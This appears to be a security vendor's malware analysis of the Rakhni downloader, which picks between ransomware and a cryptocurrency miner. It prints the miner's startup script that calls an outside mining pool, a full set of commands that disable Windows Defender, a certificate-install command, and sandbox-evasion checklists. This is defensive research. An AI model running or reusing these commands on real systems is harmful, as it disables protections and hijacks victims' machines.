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


# To crypt, or to mine – that is the question

RESEARCH

05 JUL 2018

9 minute read



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Way back in 2013 our malware analysts spotted the first malicious samples related to the Trojan-Ransom.Win32.Rakhni family. That was the starting point for this long-lived Trojan family, which is still functioning to this day. During that time the malware writers have changed:



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- the way their Trojans get keys (from locally generated to received from the C&C);
- the algorithms used (from using only a symmetric algorithm, through a commonly used scheme of symmetric + asymmetric, to 18 symmetric algorithms used simultaneously);
- the crypto-libraries (LockBox, AESLib, DCPcrypt);
- the distribution method (from spam to remote execution).

Worm component

Self-deleting


Detection verdicts

IoCs

Now the criminals have decided to add a new feature to their creation – a mining capability. In this article we describe a downloader that decides how to infect the victim: with a cryptor or with a miner.

## Distribution

### Geography of attacks



Geography of Trojan-Downloader.Win32.Rakhni

Top five countries attacked by Trojan-Downloader.Win32.Rakhni (ranked by percentage of users attacked):


Country	% *
---------	-----

1	Russian Federation	95.57%
2	Kazakhstan	1.36%
3	Ukraine	0.57%
4	Germany	0.49%
5	India	0.41%

*\* Percentage of unique users attacked in each country by Trojan-Downloader.Win32.Rakhni, relative to all users attacked by this malware*


## Infection vector

As far as we know, spam campaigns are still the main way of distributing this malware.




*Email with malicious attachment*

After opening the email attachment, the victim is prompted to save the document and enable editing.



*Attached Word document*

The victim is expected to double-click on the embedded PDF file. But instead of opening a PDF the victim launches a malicious executable.




*UAC window shown before the Trojan starts*

## Downloader

## General information

The downloader is an executable file written in Delphi. To complicate analysis, all strings inside the malware are encrypted with a simple substitution cipher.

After execution, the downloader displays a message box with an error text. The purpose of this message is to explain to the victim why no PDF file opened.



*Fake error message*

To hide the presence of the malicious software in the system the malware developer made their creation look like the products of Adobe Systems. This is reflected in the icon, the name of the executable file and the fake digital signature that uses the name Adobe Systems Incorporated. In addition, before installing the payload the downloader sends an HTTP request to the address [www.adobe.com](http://www.adobe.com).

## Environment checks

After the message box is closed the malware performs a number of checks on the infected machine:

- Self path check
  - The name should contain the substring AdobeReader
  - The path should contain one of the following substrings:
    - \TEMP

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- \TMP
- \STARTUP
- \CONTENT.IE
- Registry check

Checks that in the registry there is no value HKCU\Software\Adobe\DAVersion and, if so, the malware creates the value HKCU\Software\Adobe\DAVersion = True and continues its work

- Running processes check
  - Checks that the count of running processes is greater than 26
  - Checks that none of the processes listed in the table below are present.

alive.exe	filewatcherservice.exe	ngvmsvc.exe	sandk
analyzer.exe	fortitracer.exe	nsverctl.exe	sbiec
angar2.exe	goatcasper.exe	ollydbg.exe	sbies
apimonitor.exe	GoatClientApp.exe	peid.exe	scanh
apispy.exe	hiew32.exe	perl.exe	sckto
apispy32.exe	hookanaapp.exe	petools.exe	sdclt.
asura.exe	hookexplorer.exe	pexplorer.exe	sftdc
autorepgui.exe	httplog.exe	ping.exe	shutd
autoruns.exe	icesword.exe	pr0c3xp.exe	sniffh
autorunsc.exe	iclicker-release.exe.exe	prince.exe	snoop
autoscreenshotter.exe	idag.exe	procanalyzer.exe	spkrr

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avctestsuite.exe	idag64.exe	processhacker.exe	sysan
avz.exe	idaq.exe	processmemdump.exe	syser
behaviordumper.exe	immunitydebugger.exe	procexp.exe	syste
bindiff.exe	importrec.exe	procexp64.exe	syste
BTPTrayIcon.exe	imul.exe	procmon.exe	sytho
capturebat.exe	Infoclient.exe	procmon64.exe	taskrr
cdb.exe	installrite.exe	python.exe	taslog
cff explorer.exe	ipfs.exe	pythonw.exe	tcpdu
clicksharelauncher.exe	iprosetmonitor.exe	qq.exe	tcpvie
closepopup.exe	iragent.exe	qqffo.exe	timec
commview.exe	iris.exe	qqprotect.exe	totalc
cports.exe	joeboxcontrol.exe	qqsg.exe	trojdi
crossfire.exe	joeboxserver.exe	raptorclient.exe	txplat
dnf.exe	lamer.exe	regmon.exe	virus.c
dsniff.exe	LogHTTP.exe	regshot.exe	vx.exe
dumpcap.exe	lordpe.exe	RepMgr64.exe	winaly
emul.exe	malmon.exe	RepUtils32.exe	winap
ethereal.exe	mbarun.exe	RepUx.exe	windb
ettercap.exe	mdpmon.exe	runsample.exe	windu
fakehttpserver.exe	mmr.exe	sample.exe	winsp
fakeserver.exe	mmr.exe	sample.exe	wiresl

Fiddler.exe	multipot.exe	sandboxiecrypto.exe	xxx.ex
filemon.exe	netsniffer.exe	sandboxiedcomlaunch.exe	ZID Up Servic

- Computer name check

- The name of the computer shouldn't contain any of the following substrings:
  - -MALTEST
  - AHNLAB
  - WILBERT-
  - FIREEYES-
  - CUCKOO
  - RSWT-
  - FORTINET-
  - GITSTEST
- Calculates an MD5 digest of the computer name in lower case and compares it with a hundred denylisted values

- IP address check

Obtains the external IP address of the machine and compares it with hardcoded values.

- Virtual machine check

- Checks that the following registry keys don't exist:
  - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Oracle VM VirtualBox Guest Additions
  - HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions
  - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie



- HKLM\SYSTEM\ControlSet002\Enum\VMBUS
- HKLM\HARDWARE\ACPI\DSDT\VBOX
- HKLM\HARDWARE\ACPI\DSDT\VirtualBox
- HKLM\HARDWARE\ACPI\DSDT\Parallels Workstation
- HKLM\HARDWARE\ACPI\DSDT\PRLS
- HKLM\HARDWARE\ACPI\DSDT\Virtual PC
- HKLM\HARDWARE\ACPI\SDT\AMIBI
- HKLM\HARDWARE\ACPI\DSDT\VMware Workstation
- HKLM\HARDWARE\ACPI\DSDT\PTLTD
- HKLM\SOFTWARE\SandboxieAutoExec
- HKLM\SOFTWARE\Classes\Folder\shell\sandbox
- Checks that the following registry values don't exist:
  - HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\OpenGLDrivers\VBoxOGL\Dll=VBoxOGL.dll
  - HKLM\SYSTEM\CurrentControlSet\services\Disk\Enum\0=Virtual
  - HKLM\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName=VirtualBox
- Checks that none of the processes listed in the table below are present.

prlcc.exe	VGAAuthService.exe	vmsrvc.exe	vmware-tray.exe
prltools.exe	vmacthlp.exe	vmtoolsd.exe	vmware-usbarbitrator.exe
SharedIntApp.exe	vmicsvc.exe	vmusrvc.exe	vmware-usbarbitrator64.exe

#### FROM THE SAME AUTHORS



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**KeyPass ransomware**

**Bad Rabbit ransomware**


TPAutoConnect.exe	vmnat.exe	vmware-authd.exe	vmwaretray.exe
TPAutoConnSvc.exe	vmnetdhcp.exe	vmware-converter-a.exe	vmwareuser.exe
VBoxService.exe	vmount2.exe	vmware-converter.exe	xenservice.exe
VBoxTray.exe	VMRemoteGuest.exe	vmware-hostd.exe	

A malicious pairing of cryptor and stealer


If at least one of the performed checks fails, the downloader ends the process.

### Installation of certificates

The downloader installs a root certificate that’s stored in its resources. All downloaded malicious executables are signed with this certificate. We have found fake certificates that claim to have been issued by Microsoft Corporation and Adobe Systems Incorporated.




*Fake Microsoft Corporation certificate*




*Fake Adobe Systems Incorporated certificate*

Certificates are installed using the standard utility CertMgr.exe that's also stored in the downloader's resources.



*Resources contained in the downloader executable file*

Before installing the certificate, the downloader drops the necessary files from the resources to the %TEMP% directory.



*Fake certificate and CertMgr.exe utility*

It then executes the following command:

```
CertMgr.exe -add -c 179mqn7h0c.cer -s -r localMachine root
```

## The main decision

The decision to download the cryptor or the miner depends on the presence of the folder %AppData%\Bitcoin. If the folder exists, the downloader decides to download the cryptor. If the folder doesn't exist and the machine has more than two logical processors, the miner will be downloaded. If there's no folder and just one logical processor, the downloader jumps to its worm component, which is described below in the corresponding part of the article.

## Cryptor decision

The Trojan downloads a password-protected archive that contains a cryptor module. The archive will be downloaded to the startup directory (C:\Documents and Settings\username\Start Menu\Programs\Startup) and then the downloader will unpack it using the command line WinRAR tool. The cryptor executable will have the name taskhost.exe.

After execution, the cryptor performs an environment check like the installer; in addition, it will check that it's running after the downloader decision (by checking the registry value HKCU\Software\Adobe\DAVersion is present).

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Interestingly, the cryptor only starts working if the system has been idle for at least two minutes. Before encrypting files, the cryptor terminates the following processes:

1cv7s.exe	Foxit Advanced PDF Editor.exe	mspaint.exe	soffice.exe
1cv8.exe	Foxit Phantom.exe	mysqld.exe	sqlservr.exe
1cv8c.exe	Foxit PhantomPDF.exe	NitroPDF.exe	sqlwriter.exe
7zFM.exe	Foxit Reader.exe	notepad.exe	STDUViewerA
acad.exe	FoxitPhantom.exe	OUTLOOK.EXE	SumatraPDF.ex
Account.EXE	FoxitReader.exe	PDFMaster.exe	thebat.exe
Acrobat.exe	FreePDFReader.exe	PDFXCview.exe	thebat32.exe
AcroRd32.exe	gimp-2.8.exe	PDFXEdit.exe	thunderbird.exe
architect.exe	GSmeta.exe	pgctl.exe	ThunderbirdPo
bricscad.exe	HamsterPDFReader.exe	Photoshop.exe	VISIO.EXE
Bridge.exe	Illustrator.exe	Picasa3.exe	WebMoney.exe
CorelDRW.exe	InDesign.exe	PicasaPhotoViewer.exe	WinDjView.exe
CorelPP.exe	iview32.exe	postgres.exe	WinRAR.exe
EXCEL.EXE	KeePass.exe	POWERPNT.EXE	WINWORD.EXE
fbguard.exe	Magnat2.exe	RdrCEF.exe	wlmail.exe
fbserver.exe	MSACCESS.EXE	SmWiz.exe	wordpad.exe
FineExec.exe	msimn.exe	soffice.bin	xnview.exe

In addition, if there is no avp.exe process running, the cryptor removes volume shadow copies.

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
The cryptor encrypts files with the following extensions:

```
.ebd", ".jbc", ".pst", ".ost", ".tib", ".tbk", ".bak", ".bac",  
".abk", ".as4", ".asd", ".ashbak", ".backup", ".bck", ".bdb",  
".bk1", ".bkc", ".bkf", ".bkp", ".boe", ".bpa", ".bpd", ".bup",  
".cmb", ".fbf", ".fbw", ".fh", ".ful", ".gho", ".ipd", ".nb7",  
".nba", ".nbd", ".nbf", ".nbi", ".nbu", ".nco", ".oeb", ".old",  
".qic", ".sn1", ".sn2", ".sna", ".spi", ".stg", ".uci", ".win", ".xbk",  
".iso", ".htm", ".html", ".mht", ".p7", ".p7c", ".pem", ".sgn",  
".sec", ".cer", ".csr", ".djvu", ".der", ".stl", ".crt", ".p7b",  
".pfx", ".fb", ".fb2", ".tif", ".tiff", ".pdf", ".doc", ".docx",  
".docm", ".rtf", ".xls", ".xlsx", ".xls", ".ppt", ".pptx",  
".ppsx", ".txt", ".cdr", ".jpe", ".jpg", ".jpeg", ".png", ".bmp",  
".jiff", ".jpf", ".ply", ".pov", ".raw", ".cf", ".cfn", ".tbn", ".xcf",  
".xof", ".key", ".eml", ".tbb", ".dwf", ".egg", ".fc2", ".fcz",  
".fg", ".fp3", ".pab", ".oab", ".psd", ".psb", ".pcx", ".dwg",  
".dws", ".dxe", ".zip", ".zipx", ".7z", ".rar", ".rev", ".afp",  
".bfa", ".bpk", ".bsk", ".enc", ".rzk", ".rxz", ".sef", ".shy",  
".snk", ".accdb", ".ldf", ".accdc", ".adp", ".dbc", ".dbx",  
".dbf", ".dbt", ".dxi", ".edb", ".eqi", ".mdb", ".mxl", ".mdf",  
".sql", ".sqlite", ".sqlite3", ".sqlitedb", ".kdb", ".kdbx", ".1cd",  
".dt", ".erf", ".lgi", ".md", ".epf", ".efb", ".eis", ".efn",  
".emd", ".emr", ".end", ".eog", ".erb", ".ebn", ".ebb",  
".prefab", ".jif", ".wor", ".csv", ".msg", ".msf", ".kwm",  
".pwm", ".ai", ".eps", ".abd", ".repx", ".oxps", ".dot".
```

After encryption the file extension will be changed to .neutrino.

Files are encrypted using an RSA-1024 encryption algorithm. The information necessary to decrypt the files is sent to the attacker by email.

In each encrypted directory, the cryptor creates a MESSAGE.txt file with the following contents:



### *Ransom note*

## Miner decision

The downloading process of the miner is the same except for the downloading folder – the miner is saved to the path %AppData%\KB<8\_random\_chars>, where <8\_random\_chars>, as the name suggests, is a string constructed from alphanumeric characters [0-9a-z].

After downloading and unpacking the archive with the miner, the Trojan does the following:

- Firstly, it generates a VBS script that will be launched after an OS reboot. The script has the name Check\_Updates.vbs. This script contains two commands for mining:
  - the first command will start a process to mine the cryptocurrency Monero;
  - the second command will start a process to mine the cryptocurrency Monero Original. The name of the subfolder where the executable should be located (cuda) may indicate that this executable will use the GPU power for mining.

```
C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Check_Updates.vbs
::1x8ed9671r2540z
::5zjj253x0dx1kqs
::37oq648n2j75817
Set objShell = CreateObject("WScript.Shell")
objShell.Run "C:\Users\User\AppData\Roaming\KBf16n1hdy\svchost.exe -user donowan@protonmail.com -xmr 1", 0, False
objShell.Run "C:\Users\User\AppData\Roaming\KBf16n1hdy\cuda\svchost.exe -d 0 -i auto -a cryptonight
-o stratum+tcp://xmr.pool.minergate.com:45560 -u donowan@protonmail.com -p c-S1B,stats --cpu-priority=3", 0, False
::g872d77d7ur73vv
::u6p7224j24jzxx1
::s31t9nt3b23neu9
```



### Content of the Check\_Updates.vbs file

- Then, if there is a file named %AppData%\KB<8\_random\_chars>\svchost.exe, the Trojan executes it to mine the cryptocurrency Dashcoin.

AdobeReaderPlugin.exe	< 0.01	5,292 K	12,928 K	3956 Adobe Plugin	Adobe
cmd.exe		2,016 K	3,120 K	1604 Windows Command Processor	Microsoft Corporation
svchost.exe	96.99	12,000 K	12,708 K	3384	
cmd.exe		2,012 K	3,116 K	2096 Windows Command Processor	Microsoft Corporation
cmd.exe					Microsoft Corporation
cmd.exe					Microsoft Corporation
cmd.exe					Microsoft Corporation
cmd.exe					Microsoft Corporation

Command Line:

"C:\Users\User\AppData\Roaming\KBf16n1hdy\svchost.exe" -user donowan@protonmail.com -dash 1

Path:

C:\Users\User\AppData\Roaming\KBf16n1hdy\svchost.exe

### Process for mining the Dashcoin cryptocurrency

When this analysis was carried out, the downloader was receiving an archive with a miner that didn't use the GPU. The attacker uses the console version of the MinerGate utility for mining.

```
C:\Users\User\AppData\Roaming\KBf16n1hdy>svchost.exe -version
MinerGate v.4.04
C:\Users\User\AppData\Roaming\KBf16n1hdy>
```

### Checking the utility for mining

In order to disguise the miner as a trusted process, the attacker signs it with a fake Microsoft Corporation certificate and calls svchost.exe.

## Disabling of Windows Defender

Regardless of whether the cryptor or the miner was chosen, the downloader checks if one of the following AV processes is launched:

IN THE SAME CATEGORY

360DocProtect.exe	avgui.exe	dwservice.exe	McUICr
360webshield.exe	avgwdsvc.exe	dwwatcher.exe	mcupda

**Loose-lipped neural networks and lazy scammers**

AvastSvc.exe	Avira.OE.ServiceHost.exe	egui.exe	Protec
AvastUI.exe	Avira.OE.Systray.exe	ekrn.exe	QHActi
avgcsrva.exe	Avira.ServiceHost.exe	kav.exe	QHSafi
avgemca.exe	Avira.Systray.exe	LUALL.exe	QHWat
avgidsagent.exe	avp.exe	LuComServer.exe	Rtvscal
avgnsa.exe	ccApp.exe	McCSPServiceHost.exe	SMC.e
avgnt.exe	ccSvcHst.exe	McPvTray.exe	SMCgu
avgrsa.exe	Dumpuper.exe	McSACore.exe	spidera
avgrsx.exe	dwengine.exe	mcshield.exe	SymCc
avguard.exe	dwnetfilter.exe	McSvHost.exe	

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If no AV process was found in the system, the Trojan will run several cmd commands that will disable Windows Defender in the system:

- cmd /C powershell Set-MpPreference -DisableRealtimeMonitoring \$true
- cmd /C powershell Set-MpPreference -MAPSReporting 0
- cmd /C powershell Set-MpPreference -SubmitSamplesConsent 2
- taskkill /IM MSASCuiL.exe
- cmd /C REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v HideSCAHealth /t REGDWORD /d 1 /f
- cmd /C REG ADD HKCU\Software\Policies\Microsoft\Windows\Explorer /v DisableNotificationCenter /t REGDWORD /d 1 /f
- cmd /C REG DELETE HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v

SecurityHealth /f

- cmd /C REG ADD  
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender /v  
DisableAntiSpyware /t REGDWORD /d 1 /f
- cmd /C REG ADD  
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender /v  
AllowFastServiceStartup /t REGDWORD /d 0 /f
- cmd /C REG ADD  
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender /v  
ServiceKeepAlive /t REGDWORD /d 0 /f
- cmd /C REG ADD  
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-  
Time Protection /v DisableIOAVProtection /t REGDWORD /d 1 /f
- cmd /C REG ADD  
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-  
Time Protection /v DisableRealtimeMonitoring /t REGDWORD /d  
1 /f
- cmd /C REG ADD  
HKLM\SOFTWARE\Policies\Microsoft\Windows  
Defender\Spynet /v DisableBlockAtFirstSeen /t REGDWORD /d  
1 /f
- cmd /C REG ADD  
HKLM\SOFTWARE\Policies\Microsoft\Windows  
Defender\Spynet /v LocalSettingOverrideSpynetReporting /t  
REGDWORD /d 0 /f
- cmd /C REG ADD  
HKLM\SOFTWARE\Policies\Microsoft\Windows  
Defender\Spynet /v SubmitSamplesConsent /t REGDWORD /d  
2 /f
- cmd /C REG ADD  
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\UX  
Configuration /v NotificationSuppress /t REGDWORD /d 1 /f

## Sending the statistics

During their operation the downloader and cryptor modules send emails with statistics to a hardcoded address. These messages contain information about the current state of infection and other details such as:

- computer name;
- victim IP address;
- path of malware in the system;
- current date and time;
- malware build date.

The downloader sends the following states:

Hello Install	Sent after the cryptor or miner is downloaded
Hello NTWRK	Sent after the downloader attempts to spread through the victim's network
Error	Sent if something goes wrong and contains the error code value

The cryptor sends the following states:

Locked	Shows that the cryptor was launched
Final	Shows that the cryptor has ended the encryption process

Another interesting fact is that the downloader also has some spyware functionality – its messages include a list of running processes and an attachment with a screenshot.

## Worm component

As one of its last actions the downloader tries to copy itself to all the computers in the local network. To do so, it calls the system command 'net view /all' which will return all the shares and then the Trojan creates the list.log file containing the names of computers with shared resources. For each computer listed in the file the Trojan checks if the folder Users is shared and, if so, the malware copies itself to the folder  
\\AppData\\Roaming\\Microsoft\\Windows\\Start  
Menu\\Programs\\Startup of each accessible user.

## Self-deleting

Before shutting down the malware creates a batch file that deletes all 'temporary' files created during the infection process. This is a common practice for malware. The thing that interested us was the use of the Goto label 'malner'. Perhaps this is a portmanteau of the words 'malware' and 'miner' used by the criminal.

```
C:\Users\User\AppData\Local\Temp\svchost.bat
chcp 1251
:malner
del "C:\Users\User\AppData\Local\Temp\AdobeReaderPlugin.exe"
if exist "C:\Users\User\AppData\Local\Temp\AdobeReaderPlugin.exe" (
ping -n 2 127.0.0.1 > nul
Goto malner)
del "C:\Users\User\AppData\Local\Temp\*.cer"
del "C:\Users\User\AppData\Local\Temp\*.docx"
del "C:\Users\User\AppData\Local\Temp\Rar.exe"
del "C:\Users\User\AppData\Local\Temp\Adobe*.exe"
del "C:\Users\User\AppData\Local\Temp\*.cer"
del "C:\Users\User\AppData\Local\Temp\*.docx"
del "C:\Users\User\AppData\Local\Temp\Rar.exe"
del "C:\Users\User\AppData\Local\Temp\Adobe*.exe"
del "C:\Users\User\AppData\Roaming\Downloads\*.docx"
del "C:\Users\User\AppData\Local\Temp\svchost.bat"
```

*Content of the svchost.bat file*

## Detection verdicts

Our products detect the malware described here with the following verdicts:

- Downloader: Trojan-Downloader.Win32.Rakhni.pwc
- Miner: not-a-virus:RiskTool.Win32.BitCoinMiner.iauu
- Cryptor: Trojan-Ransom.Win32.Rakhni.wbrf

In addition, all the malware samples are detected by the System Watcher component.

## IoCs

Malicious document: 81C0DEDFA5CB858540D3DF459018172A

Downloader: F4EC1E3270D62DD4D542F286797877E3

Miner: BFF4503FF1650D8680F8E217E899C8F4

Cryptor: 96F460D5598269F45BCEAAED81F42E9B

URLs

hxxp://protnex[.]pw

hxxp://biserdio[.]pw

CRYPTOCURRENCIES

DIGITAL CERTIFICATES

MALWARE DESCRIPTIONS

MINER

RANSOMWARE

WORM



## To crypt, or to mine – that is the question

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